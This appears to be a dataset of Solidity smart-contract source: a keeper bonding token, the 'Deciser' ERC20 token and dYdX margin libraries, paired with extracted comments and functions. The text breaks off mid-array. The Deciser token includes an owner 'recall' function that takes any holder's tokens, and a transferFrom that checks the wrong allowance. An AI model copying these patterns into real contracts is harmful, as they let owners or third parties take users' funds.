after bonding * @param bonding the asset being activated as bond collateral */ function activate(address bonding) external { require(!blacklist[msg.sender], "activate: blacklisted"); require(bondings[msg.sender][bonding] != 0 && bondings[msg.sender][bonding] < now, "activate: bonding"); _activate(msg.sender, bonding); } function _activate(address keeper, address bonding) internal { if (firstSeen[keeper] == 0) { firstSeen[keeper] = now; keeperList.push(keeper); lastJob[keeper] = now; } keepers[keeper] = true; _bond(bonding, keeper, pendingbonds[keeper][bonding]); pendingbonds[keeper][bonding] = 0; emit KeeperBonded(keeper, block.number, block.timestamp, bonds[keeper][bonding]); } /** * @notice begin the unbonding process to stop being a keeper * @param bonding the asset being unbound * @param amount allows for partial unbonding */ function unbond(address bonding, uint amount) external { unbondings[msg.sender][bonding] = now.add(UNBOND); _unbond(bonding, msg.sender, amount); partialUnbonding[msg.sender][bonding] = partialUnbonding[msg.sender][bonding].add(amount); emit KeeperUnbonding(msg.sender, block.number, unbondings[msg.sender][bonding], amount); } /** * @notice withdraw funds after unbonding has finished * @param bonding the asset to withdraw from the bonding pool */ function withdraw(address bonding) external nonReentrant { require(unbondings[msg.sender][bonding] != 0 && unbondings[msg.sender][bonding] < now, "withdraw: unbonding"); require(!disputes[msg.sender], "withdraw: disputes"); if (bonding == address(this)) { _transferTokens(address(this), msg.sender, partialUnbonding[msg.sender][bonding]); } else { IERC20(bonding).safeTransfer(msg.sender, partialUnbonding[msg.sender][bonding]); } emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender][bonding]); partialUnbonding[msg.sender][bonding] = 0; } /** * @notice allows governance to create a dispute for a given keeper * @param keeper the address in dispute */ function dispute(address keeper) external { require(msg.sender == governance, "dispute: !gov"); disputes[keeper] = true; emit KeeperDispute(keeper, block.number); } /** * @notice allows governance to slash a keeper based on a dispute * @param bonded the asset being slashed * @param keeper the address being slashed * @param amount the amount being slashed */ function slash(address bonded, address keeper, uint amount) public nonReentrant { require(msg.sender == governance, "slash: !gov"); if (bonded == address(this)) { _transferTokens(address(this), governance, amount); } else { IERC20(bonded).safeTransfer(governance, amount); } _unbond(bonded, keeper, amount); disputes[keeper] = false; emit KeeperSlashed(keeper, msg.sender, block.number, amount); } /** * @notice blacklists a keeper from participating in the network * @param keeper the address being slashed */ function revoke(address keeper) external { require(msg.sender == governance, "slash: !gov"); keepers[keeper] = false; blacklist[keeper] = true; slash(address(this), keeper, bonds[keeper][address(this)]); } /** * @notice allows governance to resolve a dispute on a keeper * @param keeper the address cleared */ function resolve(address keeper) external { require(msg.sender == governance, "resolve: !gov"); disputes[keeper] = false; emit KeeperResolved(keeper, block.number); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) public returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "permit: signature"); require(signatory == owner, "permit: unauthorized"); require(now <= deadline, "permit: expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) public returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } function _getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } }
Allows governance to mint new tokens to treasury amount the amount of tokens to mint to treasury/
function mint(uint amount) external { require(msg.sender == governance, "mint: !gov"); _mint(governance, amount); }
336,392
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Deciser' token contract // // Deployed to : 0xBDa4f6C850F67F263BC2c1Ea94bbCCbF0C44De03 // Symbol : DEC // Name : Deciser Token // Total supply: 10'000'000'000 (total DEC coins, no decimals) // Decimals : 6 // // Enjoy. // // (c) Alin Vana with some inspiration from (c) Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. and (c) http://zeltsinger.com/2017/04/22/ico-simple-simple/ // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address _tokenOwner) public constant returns (uint balance); function allowance(address _tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed _tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract DeciserToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function DeciserToken() public { symbol = "DEC"; name = "Deciser Token"; decimals = 6; totalSupply = 10000000000000000; if (msg.sender == owner) { balances[owner] = totalSupply; Transfer(address(0), owner, totalSupply); } } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account _tokenOwner // ------------------------------------------------------------------------ function balanceOf(address _tokenOwner) public constant returns (uint balance) { return balances[_tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address _to, uint _tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _tokens); balances[_to] = safeAdd(balances[_to], _tokens); Transfer(msg.sender, _to, _tokens); return true; } function MintToOwner(uint _tokens) public onlyOwner returns (bool success) { balances[owner] = safeAdd(balances[owner], _tokens); Transfer (address (0), owner, _tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address _spender, uint _tokens) public returns (bool success) { allowed[msg.sender][_spender] = _tokens; Approval(msg.sender, _spender, _tokens); return true; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function ApproveAndtransfer(address _to, uint _tokens) public returns (bool success) { allowed[msg.sender][_to] = _tokens; Approval(msg.sender, _to, _tokens); balances[msg.sender] = safeSub(balances[msg.sender], _tokens); balances[_to] = safeAdd(balances[_to], _tokens); Transfer(msg.sender, _to, _tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address _tokenOwner, address _spender) public constant returns (uint remaining) { return allowed[_tokenOwner][_spender]; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address _from, address _to, uint _tokens) public returns (bool success) { balances[_from] = safeSub(balances[_from], _tokens); allowed[_from][_to] = safeSub(allowed[_from][_to], _tokens); balances[_to] = safeAdd(balances[_to], _tokens); Transfer(_from, _to, _tokens); return true; } // ------------------------------------------------------------------------ // Handle ETH // ------------------------------------------------------------------------ function () public payable { if (msg.value !=0 ) { if(!owner.send(msg.value)) { revert(); } } } // ------------------------------------------------------------------------ // Owner token recall // ------------------------------------------------------------------------ function OwnerRecall(address _FromRecall, uint _tokens) public onlyOwner returns (bool success) { allowed[_FromRecall][owner] = _tokens; Approval(_FromRecall, owner, _tokens); balances[_FromRecall] = safeSub(balances[_FromRecall], _tokens); balances[owner] = safeAdd(balances[owner], _tokens); Transfer(_FromRecall, owner, _tokens); return true; } }
------------------------------------------------------------------------ Token owner can approve for spender to transferFrom(...) tokens from the token owner's account https:github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md recommends that there are no checks for the approval double-spend attack as this should be implemented in user interfaces ------------------------------------------------------------------------
function approve(address _spender, uint _tokens) public returns (bool success) { allowed[msg.sender][_spender] = _tokens; Approval(msg.sender, _spender, _tokens); return true; }
5,835,908
pragma solidity 0.4.24; pragma experimental "v0.5.0"; /* Copyright 2018 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // File: openzeppelin-solidity/contracts/math/Math.sol /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a >= _b ? _a : _b; } function min64(uint64 _a, uint64 _b) internal pure returns (uint64) { return _a < _b ? _a : _b; } function max256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a >= _b ? _a : _b; } function min256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a < _b ? _a : _b; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/lib/AccessControlledBase.sol /** * @title AccessControlledBase * @author dYdX * * Base functionality for access control. Requires an implementation to * provide a way to grant and optionally revoke access */ contract AccessControlledBase { // ============ State Variables ============ mapping (address => bool) public authorized; // ============ Events ============ event AccessGranted( address who ); event AccessRevoked( address who ); // ============ Modifiers ============ modifier requiresAuthorization() { require( authorized[msg.sender], "AccessControlledBase#requiresAuthorization: Sender not authorized" ); _; } } // File: contracts/lib/StaticAccessControlled.sol /** * @title StaticAccessControlled * @author dYdX * * Allows for functions to be access controled * Permissions cannot be changed after a grace period */ contract StaticAccessControlled is AccessControlledBase, Ownable { using SafeMath for uint256; // ============ State Variables ============ // Timestamp after which no additional access can be granted uint256 public GRACE_PERIOD_EXPIRATION; // ============ Constructor ============ constructor( uint256 gracePeriod ) public Ownable() { GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod); } // ============ Owner-Only State-Changing Functions ============ function grantAccess( address who ) external onlyOwner { require( block.timestamp < GRACE_PERIOD_EXPIRATION, "StaticAccessControlled#grantAccess: Cannot grant access after grace period" ); emit AccessGranted(who); authorized[who] = true; } } // File: contracts/lib/GeneralERC20.sol /** * @title GeneralERC20 * @author dYdX * * Interface for using ERC20 Tokens. We have to use a special interface to call ERC20 functions so * that we dont automatically revert when calling non-compliant tokens that have no return value for * transfer(), transferFrom(), or approve(). */ interface GeneralERC20 { function totalSupply( ) external view returns (uint256); function balanceOf( address who ) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function transfer( address to, uint256 value ) external; function transferFrom( address from, address to, uint256 value ) external; function approve( address spender, uint256 value ) external; } // File: contracts/lib/TokenInteract.sol /** * @title TokenInteract * @author dYdX * * This library contains functions for interacting with ERC20 tokens */ library TokenInteract { function balanceOf( address token, address owner ) internal view returns (uint256) { return GeneralERC20(token).balanceOf(owner); } function allowance( address token, address owner, address spender ) internal view returns (uint256) { return GeneralERC20(token).allowance(owner, spender); } function approve( address token, address spender, uint256 amount ) internal { GeneralERC20(token).approve(spender, amount); require( checkSuccess(), "TokenInteract#approve: Approval failed" ); } function transfer( address token, address to, uint256 amount ) internal { address from = address(this); if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transfer(to, amount); require( checkSuccess(), "TokenInteract#transfer: Transfer failed" ); } function transferFrom( address token, address from, address to, uint256 amount ) internal { if ( amount == 0 || from == to ) { return; } GeneralERC20(token).transferFrom(from, to, amount); require( checkSuccess(), "TokenInteract#transferFrom: TransferFrom failed" ); } // ============ Private Helper-Functions ============ /** * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 32 bytes that are not all-zero. */ function checkSuccess( ) private pure returns (bool) { uint256 returnValue = 0; /* solium-disable-next-line security/no-inline-assembly */ assembly { // check number of bytes returned from last function call switch returndatasize // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned: check if non-zero case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } return returnValue != 0; } } // File: contracts/margin/TokenProxy.sol /** * @title TokenProxy * @author dYdX * * Used to transfer tokens between addresses which have set allowance on this contract. */ contract TokenProxy is StaticAccessControlled { using SafeMath for uint256; // ============ Constructor ============ constructor( uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) {} // ============ Authorized-Only State Changing Functions ============ /** * Transfers tokens from an address (that has set allowance on the proxy) to another address. * * @param token The address of the ERC20 token * @param from The address to transfer token from * @param to The address to transfer tokens to * @param value The number of tokens to transfer */ function transferTokens( address token, address from, address to, uint256 value ) external requiresAuthorization { TokenInteract.transferFrom( token, from, to, value ); } // ============ Public Constant Functions ============ /** * Getter function to get the amount of token that the proxy is able to move for a particular * address. The minimum of 1) the balance of that address and 2) the allowance given to proxy. * * @param who The owner of the tokens * @param token The address of the ERC20 token * @return The number of tokens able to be moved by the proxy from the address specified */ function available( address who, address token ) external view returns (uint256) { return Math.min256( TokenInteract.allowance(token, who, address(this)), TokenInteract.balanceOf(token, who) ); } } // File: contracts/margin/Vault.sol /** * @title Vault * @author dYdX * * Holds and transfers tokens in vaults denominated by id * * Vault only supports ERC20 tokens, and will not accept any tokens that require * a tokenFallback or equivalent function (See ERC223, ERC777, etc.) */ contract Vault is StaticAccessControlled { using SafeMath for uint256; // ============ Events ============ event ExcessTokensWithdrawn( address indexed token, address indexed to, address caller ); // ============ State Variables ============ // Address of the TokenProxy contract. Used for moving tokens. address public TOKEN_PROXY; // Map from vault ID to map from token address to amount of that token attributed to the // particular vault ID. mapping (bytes32 => mapping (address => uint256)) public balances; // Map from token address to total amount of that token attributed to some account. mapping (address => uint256) public totalBalances; // ============ Constructor ============ constructor( address proxy, uint256 gracePeriod ) public StaticAccessControlled(gracePeriod) { TOKEN_PROXY = proxy; } // ============ Owner-Only State-Changing Functions ============ /** * Allows the owner to withdraw any excess tokens sent to the vault by unconventional means, * including (but not limited-to) token airdrops. Any tokens moved to the vault by TOKEN_PROXY * will be accounted for and will not be withdrawable by this function. * * @param token ERC20 token address * @param to Address to transfer tokens to * @return Amount of tokens withdrawn */ function withdrawExcessToken( address token, address to ) external onlyOwner returns (uint256) { uint256 actualBalance = TokenInteract.balanceOf(token, address(this)); uint256 accountedBalance = totalBalances[token]; uint256 withdrawableBalance = actualBalance.sub(accountedBalance); require( withdrawableBalance != 0, "Vault#withdrawExcessToken: Withdrawable token amount must be non-zero" ); TokenInteract.transfer(token, to, withdrawableBalance); emit ExcessTokensWithdrawn(token, to, msg.sender); return withdrawableBalance; } // ============ Authorized-Only State-Changing Functions ============ /** * Transfers tokens from an address (that has approved the proxy) to the vault. * * @param id The vault which will receive the tokens * @param token ERC20 token address * @param from Address from which the tokens will be taken * @param amount Number of the token to be sent */ function transferToVault( bytes32 id, address token, address from, uint256 amount ) external requiresAuthorization { // First send tokens to this contract TokenProxy(TOKEN_PROXY).transferTokens( token, from, address(this), amount ); // Then increment balances balances[id][token] = balances[id][token].add(amount); totalBalances[token] = totalBalances[token].add(amount); // This should always be true. If not, something is very wrong assert(totalBalances[token] >= balances[id][token]); validateBalance(token); } /** * Transfers a certain amount of funds to an address. * * @param id The vault from which to send the tokens * @param token ERC20 token address * @param to Address to transfer tokens to * @param amount Number of the token to be sent */ function transferFromVault( bytes32 id, address token, address to, uint256 amount ) external requiresAuthorization { // Next line also asserts that (balances[id][token] >= amount); balances[id][token] = balances[id][token].sub(amount); // Next line also asserts that (totalBalances[token] >= amount); totalBalances[token] = totalBalances[token].sub(amount); // This should always be true. If not, something is very wrong assert(totalBalances[token] >= balances[id][token]); // Do the sending TokenInteract.transfer(token, to, amount); // asserts transfer succeeded // Final validation validateBalance(token); } // ============ Private Helper-Functions ============ /** * Verifies that this contract is in control of at least as many tokens as accounted for * * @param token Address of ERC20 token */ function validateBalance( address token ) private view { // The actual balance could be greater than totalBalances[token] because anyone // can send tokens to the contract's address which cannot be accounted for assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]); } } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author dYdX * * Optimized version of the well-known ReentrancyGuard contract */ contract ReentrancyGuard { uint256 private _guardCounter = 1; modifier nonReentrant() { uint256 localCounter = _guardCounter + 1; _guardCounter = localCounter; _; require( _guardCounter == localCounter, "Reentrancy check failure" ); } } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: contracts/lib/Fraction.sol /** * @title Fraction * @author dYdX * * This library contains implementations for fraction structs. */ library Fraction { struct Fraction128 { uint128 num; uint128 den; } } // File: contracts/lib/FractionMath.sol /** * @title FractionMath * @author dYdX * * This library contains safe math functions for manipulating fractions. */ library FractionMath { using SafeMath for uint256; using SafeMath for uint128; /** * Returns a Fraction128 that is equal to a + b * * @param a The first Fraction128 * @param b The second Fraction128 * @return The result (sum) */ function add( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { uint256 left = a.num.mul(b.den); uint256 right = b.num.mul(a.den); uint256 denominator = a.den.mul(b.den); // if left + right overflows, prevent overflow if (left + right < left) { left = left.div(2); right = right.div(2); denominator = denominator.div(2); } return bound(left.add(right), denominator); } /** * Returns a Fraction128 that is equal to a - (1/2)^d * * @param a The Fraction128 * @param d The power of (1/2) * @return The result */ function sub1Over( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.den % d == 0) { return bound( a.num.sub(a.den.div(d)), a.den ); } return bound( a.num.mul(d).sub(a.den), a.den.mul(d) ); } /** * Returns a Fraction128 that is equal to a / d * * @param a The first Fraction128 * @param d The divisor * @return The result (quotient) */ function div( Fraction.Fraction128 memory a, uint128 d ) internal pure returns (Fraction.Fraction128 memory) { if (a.num % d == 0) { return bound( a.num.div(d), a.den ); } return bound( a.num, a.den.mul(d) ); } /** * Returns a Fraction128 that is equal to a * b. * * @param a The first Fraction128 * @param b The second Fraction128 * @return The result (product) */ function mul( Fraction.Fraction128 memory a, Fraction.Fraction128 memory b ) internal pure returns (Fraction.Fraction128 memory) { return bound( a.num.mul(b.num), a.den.mul(b.den) ); } /** * Returns a fraction from two uint256's. Fits them into uint128 if necessary. * * @param num The numerator * @param den The denominator * @return The Fraction128 that matches num/den most closely */ /* solium-disable-next-line security/no-assign-params */ function bound( uint256 num, uint256 den ) internal pure returns (Fraction.Fraction128 memory) { uint256 max = num > den ? num : den; uint256 first128Bits = (max >> 128); if (first128Bits != 0) { first128Bits += 1; num /= first128Bits; den /= first128Bits; } assert(den != 0); // coverage-enable-line assert(den < 2**128); assert(num < 2**128); return Fraction.Fraction128({ num: uint128(num), den: uint128(den) }); } /** * Returns an in-memory copy of a Fraction128 * * @param a The Fraction128 to copy * @return A copy of the Fraction128 */ function copy( Fraction.Fraction128 memory a ) internal pure returns (Fraction.Fraction128 memory) { validate(a); return Fraction.Fraction128({ num: a.num, den: a.den }); } // ============ Private Helper-Functions ============ /** * Asserts that a Fraction128 is valid (i.e. the denominator is non-zero) * * @param a The Fraction128 to validate */ function validate( Fraction.Fraction128 memory a ) private pure { assert(a.den != 0); // coverage-enable-line } } // File: contracts/lib/Exponent.sol /** * @title Exponent * @author dYdX * * This library contains an implementation for calculating e^X for arbitrary fraction X */ library Exponent { using SafeMath for uint256; using FractionMath for Fraction.Fraction128; // ============ Constants ============ // 2**128 - 1 uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455; // Number of precomputed integers, X, for E^((1/2)^X) uint256 constant public MAX_PRECOMPUTE_PRECISION = 32; // Number of precomputed integers, X, for E^X uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32; // ============ Public Implementation Functions ============ /** * Returns e^X for any fraction X * * @param X The exponent * @param precomputePrecision Accuracy of precomputed terms * @param maclaurinPrecision Accuracy of Maclaurin terms * @return e^X */ function exp( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { require( precomputePrecision <= MAX_PRECOMPUTE_PRECISION, "Exponent#exp: Precompute precision over maximum" ); Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { // e^0 = 1 return ONE(); } // get the integer value of the fraction (example: 9/4 is 2.25 so has integerValue of 2) uint256 integerX = uint256(Xcopy.num).div(Xcopy.den); // if X is less than 1, then just calculate X if (integerX == 0) { return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision); } // get e^integerX Fraction.Fraction128 memory expOfInt = getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS); while (integerX >= NUM_PRECOMPUTED_INTEGERS) { expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS)); integerX -= NUM_PRECOMPUTED_INTEGERS; } // multiply e^integerX by e^decimalX Fraction.Fraction128 memory decimalX = Fraction.Fraction128({ num: Xcopy.num % Xcopy.den, den: Xcopy.den }); return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt); } /** * Returns e^X for any X < 1. Multiplies precomputed values to get close to the real value, then * Maclaurin Series approximation to reduce error. * * @param X Exponent * @param precomputePrecision Accuracy of precomputed terms * @param maclaurinPrecision Accuracy of Maclaurin terms * @return e^X */ function expHybrid( Fraction.Fraction128 memory X, uint256 precomputePrecision, uint256 maclaurinPrecision ) internal pure returns (Fraction.Fraction128 memory) { assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION); assert(X.num < X.den); // will also throw if precomputePrecision is larger than the array length in getDenominator Fraction.Fraction128 memory Xtemp = X.copy(); if (Xtemp.num == 0) { // e^0 = 1 return ONE(); } Fraction.Fraction128 memory result = ONE(); uint256 d = 1; // 2^i for (uint256 i = 1; i <= precomputePrecision; i++) { d *= 2; // if Fraction > 1/d, subtract 1/d and multiply result by precomputed e^(1/d) if (d.mul(Xtemp.num) >= Xtemp.den) { Xtemp = Xtemp.sub1Over(uint128(d)); result = result.mul(getPrecomputedEToTheHalfToThe(i)); } } return result.mul(expMaclaurin(Xtemp, maclaurinPrecision)); } /** * Returns e^X for any X, using Maclaurin Series approximation * * e^X = SUM(X^n / n!) for n >= 0 * e^X = 1 + X/1! + X^2/2! + X^3/3! ... * * @param X Exponent * @param precision Accuracy of Maclaurin terms * @return e^X */ function expMaclaurin( Fraction.Fraction128 memory X, uint256 precision ) internal pure returns (Fraction.Fraction128 memory) { Fraction.Fraction128 memory Xcopy = X.copy(); if (Xcopy.num == 0) { // e^0 = 1 return ONE(); } Fraction.Fraction128 memory result = ONE(); Fraction.Fraction128 memory Xtemp = ONE(); for (uint256 i = 1; i <= precision; i++) { Xtemp = Xtemp.mul(Xcopy.div(uint128(i))); result = result.add(Xtemp); } return result; } /** * Returns a fraction roughly equaling E^((1/2)^x) for integer x */ function getPrecomputedEToTheHalfToThe( uint256 x ) internal pure returns (Fraction.Fraction128 memory) { assert(x <= MAX_PRECOMPUTE_PRECISION); uint128 denominator = [ 125182886983370532117250726298150828301, 206391688497133195273760705512282642279, 265012173823417992016237332255925138361, 300298134811882980317033350418940119802, 319665700530617779809390163992561606014, 329812979126047300897653247035862915816, 335006777809430963166468914297166288162, 337634268532609249517744113622081347950, 338955731696479810470146282672867036734, 339618401537809365075354109784799900812, 339950222128463181389559457827561204959, 340116253979683015278260491021941090650, 340199300311581465057079429423749235412, 340240831081268226777032180141478221816, 340261598367316729254995498374473399540, 340271982485676106947851156443492415142, 340277174663693808406010255284800906112, 340279770782412691177936847400746725466, 340281068849199706686796915841848278311, 340281717884450116236033378667952410919, 340282042402539547492367191008339680733, 340282204661700319870089970029119685699, 340282285791309720262481214385569134454, 340282326356121674011576912006427792656, 340282346638529464274601981200276914173, 340282356779733812753265346086924801364, 340282361850336100329388676752133324799, 340282364385637272451648746721404212564, 